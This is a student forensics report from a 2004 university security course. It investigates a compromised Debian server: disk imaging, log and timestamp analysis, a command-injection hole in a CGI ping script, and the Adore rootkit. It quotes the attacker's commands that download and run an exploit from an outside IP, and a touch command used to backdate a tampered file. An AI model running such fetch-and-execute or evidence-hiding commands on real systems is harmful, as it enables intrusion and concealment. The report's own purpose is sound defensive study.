TDDC03 Projects, Spring 2004

Computer forensics

Mikael Albertsson
Peter Gunnarsson

Supervisor: David Byers

Computer forensics

Mikael Albertsson
mikal668 student.liu.se

Peter Gunnarsson
petgu662 student.liu.se

Linköpings tekniska högskola, Sweden

May 4, 2004

Abstract

A Linux host within the university network has been compromised. We were given the task to investigate this for educational purposes. This report describes our investigation and findings.

1. Introduction

For the purpose of learning more about computer forensics we have been given a compromised system for us to analyze. This is done as a part of the course TDDC03 at Link¨oping University.

Questions that we aim to answer by this report include

- How did the attacker get access to the system?
- Which vulnerability was exploited?
- What has the attacker done to the system while having root access?
- Is it possible to trace the attacker?

2. Computer forensics

This section aims to give a short introduction to what computer forensics is about and where to start looking for important evidence.

2.1. The data is evidence

When working with computer forensics there are two main aims:

- To preserve all original data from the compromised host, on it's original media.
- To recreate the events taking place after the break-in.

The first goal is important in order to make it possible to prove any findings in a court of law, in order to prosecute offenders, or simply to prove that a break-in has taken place.

The second goal is simply to learn what vulnerabilities exist on the system, so that these can be remedied.

When working with computer forensics it is also very important to keep notes of all things done during the investigative work. Since it is imperative that anything being done to the collected data must be to traceable months or even years after being performed.

Hard drives and data should be viewed as forensic evidence and as such be treated with utmost caution, in order to keep them useful in a court of law. This means one should always work on copies of the data, when possible, in order to preserve the integrity of the evidence. One small mistake on the command line and most or all of the data could be rendered completely useless.

2.2. Approach

In order to answer the questions posed in section 1 there are several areas containing potentially useful information. Log files are the simplest way of finding readily available information. E.g. if the system is running a web server, mail server or such a quick look through those logs can show any events or requests out of the ordinary.

Another source for information is the passwd file, in case new users have been added by the culprits.

When initial information have been found the general time of the break-in can often be established. By using this time as a starting point, clues can be sought for in more voluminous sources of information.

File access time information is just such a source. Looking through all file access times on a system, searching for something fishy, is quite literally like looking for a needle in a haystack. However, if the search can be narrowed to a time frame of a single day, or even a few hours, the odds of finding important clues within a reasonable time increases rapidly.

This information is then scanned for access of important files, such as the passwd file or files downloaded by a rogue user, in order to give further clues on what has been done to the computer.

Any files or software packages, downloaded by the suspect user, should be researched. If names are unknown extensive search for information should be undertaken. The web is a formidable resource during this work. It is not impossible to find that a file name corresponds to the name of a known root kit or something of the like.

Many times crackers breaking in to a system quickly patches up the very same vulnerabilities they used to gain unlimited access to the system. This means that completely ordinary patches applied to the kernel or other system resources directly after a break-in can give an indication of what these vulnerabilities were.

It is very important not to stop looking for installed back-doors and root-kits simply because one is found. A cracker who has spent days or weeks trying to get into a system might very well try very hard to maintain access to the system by installing multiple back-doors. If a root-kit is very easily discovered suspicion should should be raised. Odds are that this root-kit was simply a lure to fool the investigator into thinking the problem has been solved, when in fact several back-doors and root-kits might still be in place.

3. Tools and methods

In order to follow the specified approach we will be working on copies of the original data, safely storing the original hard drive.

After the data has been secured we will use standard Unix tools to analyze it, e.g. find, grep, less and strings.

3.1. Time stamps

Files and directories stored on common Linux file systems, such as ext2, are associated with three time stamps; modification-, access- and change-time. These can be observed to get valuable information about the system.

3.2. Toolkits

We will also be using The Coroner's Toolkit[1] which is a collection of tools for analyzing data. With this toolkit comes grave-robber and mactime which we will use to analyze time stamps and file structure.

To recover deleted files we use Sleuthkit[2] and Autopsy[3]. Sleuthkit provides tools to analyze i-nodes and files. Autopsy is a GUI for it. With these tools combined we can easily search for keywords in the existing and deleted files.

F.I.R.E.[4] is a collection of forensic tools stored on a boot able CD. In our case we will only use the grep and strings commands which comes with it since the toolkits above already fulfills our needs. These commands are compiled to handle large files which is not the case with the commands on our analysis system.

4. Securing the evidence

The first thing to do is to make a bit copy of all the partitions on the compromised system.

First we attach the compromised hard drive to our computer making it alone on a IDE channel. This will reduce the risks of damaging the contents of the hard drive due to IDE conflicts.

To get a list of all the partitions we need to issue the fdisk command. We do not run it interactively since a simple typo could change the data[5][6].

```
# fdisk -l /dev/hdc
< list of partitions and their sizes
and types >
```

Then we make bit copies of the partitions using the dd command.

```
# dd if=/dev/hdc1 of=hdc1.dd
# dd if=/dev/hdc2 of=hdc2.dd
```

Now we physically remove the compromised hard drive.

By mounting the root partition read only with the loop-back facilities we can start analyzing the file system.

```
# mount -o ro,loop,nodev,noexec
   ../hdc1.dd system
```

Now we can access the data without risk of modifying it.

5. Analysis

5.1. Initial observation

By some rudimentary research in /var/log/messages and such we find that the target contains a Debian system sunning a Linux 2.4.18 kernel.

5.2. Suspicious users and hosts

The first thing to do is checking for suspicious users. When looking in the passwd we find two interesting entries; sysmgr and billg. sysmgr has uid 0 and billg has a uid out of sequence. Both users have their passwords in the passwd and not in the shadow, like the rest of the users.

Trying to investigate these users we look in various log files. First login for billg occurs on Mar 11 2004 15:50 and the first thing he does is to su to sysmgr (this is the first login for sysmgr). We can also see that all logins for these users originate from the following computers:

- 130.236.16.22 (ceres.unit.liu.se)
- 130.236.182.35 (lap-4.ida.liu.se)
- 130.236.189.18 (abcd-gw.sysinst.ida.liu.se)

Both billg and sysmgr have /tmp for home directory. This can be a good place to look for clues later on. There are no files in this directory now, however.

Checking /var/log/messages we also find that Zkrofbar Version Scanner 1.0, connecting to sshd, is run from 130.236.189.17 on March 10 2004. This may be the attacker looking for weaknesses in the system. Note that this ip is close to the others used, making it even more interesting.

5.3. Break-in method

By browsing the access logs for Apache we find some suspicious lines. A user has accessed /cgi-bin/statalizor.cgi which seems to be a tool for pinging the network. By giving it special parameters local programs can be run. The remote user (at 130.236.189.18) made Apache run these commands:

```
11 Mar 2004 15:47:22
cd /tmp
wget http://130.236.189.18/haxor/
    0day-FrXLinCrack

11 Mar 2004 15:48:25
/tmp/0day-FrXLinCrack
```

We note that this happens just seconds before billg logs in, this is probably where billg and sysmgr were created.

Since these commands are not run as root the file 0day-FrXLinCrack probably uses some local exploit.

We notice that the package kernel-source-2.4.18_2.4.18-14.2_all.deb is installed a couple of minutes after the break-in. This package patches the kernel[7] so that it will not be vulnerable to attacks using a fault in the do_mremap system call[8][9].

This is followed by a dist-upgrade to make sure that the system is up to date so that no others can break into it. Then linux-kernel-headers_2.5.999-test7-bk-15_i386 is installed which is strange since the system has a 2.4-kernel. At 17:27 the new kernel boots for the first time.

5.4. After the break-in

5.4.1 Examining the disk images

By running the TCT tool grave-robber we create a database with information about changes to the file system.

```
# grave-robber -v -c system -o LINUX2
```

This database is then searched by running mactime for everything that has occurred after 1 March. This shows several interesting things. First of all, the user with id 30 creates /sysdb/.

Then the file /sysdb/adore-0.42.tgz is modified by sysmgr at 15:56 on 11 March. Some investigation on Google shows that adore is a root-kit, it is described in more detail in 5.4.2. This root-kit is then compiled between 16:55 and 17:29 on the same day.

We also find that the .bash_history belonging to root had been modified around the time of the adore installation, presumably to hide some commands that have been run. However the emacs backup, .bash_history~ has not been modified or deleted. A closer look at this file shows the following highly suspect lines, not present in .bash_history:

```
cd ../init.d/
...
emacs inetd
...
touch -d "Jan 27 2002" inetd
```

The touch command sets the access time for inetd to 2002 in an attempt to conceal the changes made to it.

The file /etc/init.d/inetd, responsible for loading Internet services, has been changed to load the adore module. This startup script will then be run by the system upon entry into almost all run levels. This obviously aims to hide the presence of the adore module.

Also /etc/init.d/sysmon has been altered to provide an alternative means of loading the adore module.

Furthermore mactime shows that statalizer.cgi was accessed right before the adore archive was created, reinforcing our suspicion that this was the point of entry.

In an attempt to assemble more information about what had been done on the target we installed Autopsy. However, due to memory troubles the normal grep and strings commands kept running out of memory when run on entire hard drive images. By using grep and strings from F.I.R.E. we could get around this problem.

Unfortunately not much useful information was extracted with Autopsy. It shows that the adore-files have occupied three places, /sysdb, /zekret and /root.

5.4.2 Adore root-kit

When examining the file structure of the compromised host we discover an unusual directory called /sysdb. The directory contains source code for the Adore root-kit.

We study the source code and draw the following conclusions about how it works. Adore consists of a loadable kernel module and an administration tool for the root-kit.

When the module is loaded into the kernel it alters the system call table and replaces some routines by its own variants. The new system call routines hides certain processes, ports and files from the users. Because Adore hides information on such a low level it is almost impossible to circumvent.

The administration tool is then used to hide and unhide various things.

5.4.3 Examining the swap

The swap file stored in hdc2 could contain valuable evidence. We extract all strings from it to be able to analyze them.

```
# strings hdc2.dd > hdc2.dd.strings
# gvim hdc2.dd.strings
```

The swap shows tcpdump being run but it's not possible to determine which user who ran it. We can also see the ip addresses mentioned above.

5.4.4 Examining the target, live

By running Johntheripper on the /etc/passwd billg's password was quite easily recovered.

In order to get a better view of what the target system looks like at run time we write the image of the hard drive onto a fresh hard drive, put this one into the target computer and boot from it, keeping the original drive physically disconnected to the target. Once logged in we connect another computer to the target creating a very local network. From this second computer we then run nmap to see if there are any suspicious services running on the target. We find none however.

To make sure, we also deactivate Adore on the target. To be able to do this we enter the Adore password through mkdir. Then we can access the Adore administration tool.

```
billg$ mkdir frux0
billg$ /sysdb/adore/ava U dummy
```

Now we check for odd services with netstat and strange processes with ps. This approach also fails to yield any interesting results. We quickly conclude that no additional services have been installed.

6. Summary and Conclusions

The system was running an Apache HTTP server prior the break-in. It contained a web-page where users were able to ping computers and see the results. Due to an insecurity in the script remote users were able to run arbitrary commands on the host.

On 11 March 2004 at 15:47 a remote user issued two HTTP requests making the host download and run a program. We believe that this program used a vulnerability in the running kernel to gain root privileges.

At 15:49 the two users sysmgr and billg were created. They are later used by the attacker to login to the system.

Some minutes later the attacker patches the kernel to prevent other attackers from breaking in using the same vulnerability.

Then the attacker downloads, compiles and installs the Adore root-kit. This is done to hide running processes and open ports from the administrators on the system.

We were not able to prove that the attacker is running any services on the system or using it for any purpose, although this is no guarantee that he doesn't.

The ip addresses found does not bind any computers to the crime scene but gives us a hint of where to look for more evidence.

6.1. Precautions to aid forensic work

There are some steps one could take in order to alleviate forensic work, even on an uncompromised system. To make it easier to detect intrusions md5sums of the programs and files that are likely to be modified by a root-kit can be taken at a point in time when the system is known to be intact. These can then be stored on some physically disconnected medium, such as CD-ROM, and may be used to check that these programs have not been changed when an intrusion is suspected. Such potentially interesting files are kernel modules and the programs ps and netstat, to name a few.

In the case of Debian, or any other distribution using package management, the packages md5sums can also be stored as reference. Changes in them are quite easily detected.

These sums could even be checked automatically, e.g. by a cron script which also alerts the administrator if any sums are incorrect.

References

[1] D. Farmer and W. Venema, "The coroner's toolkit homepage." http://www.fish.com/tct/.

[2] B. Carrier, "Sleuthkit v1.68," March 2004. http://www.sleuthkit.org/sleuthkit/index.php.

[3] B. Carrier, "Autopsy v2.00," March 2004. http://www.sleuthkit.org/autopsy/.

[4] D. Loss, "F.i.r.e 0.4a," May 2003. http://fire.dmzs.com/.

[5] D. Dittrich, "Basic steps in forensic analysis of unix systems." http://staff.washington.edu/dittrich/misc/forensics/.

[6] B. Coyle, "The HoneyNet Scan of the Month #29," Sep 2003. http://www.honeynet.org/scans/scan29/sol/bcoyle/SotM29-BrianCoyle.pdf.

[7] M. Schulze, “Debian Security Advisory DSA 438-1,” Feb 2004. http://www.securityfocus.com/archive/1/354295/2004-02-18/2004-02-24/0.

[8] Common Vulnerabilities and Exposures, “CAN-2004-0077,” Mar 2003. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0077.

[9] P. Starzetz, “Linux kernel do_mremap VMA limit local privilege escalation vulnerability,” Mar 2004. http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt.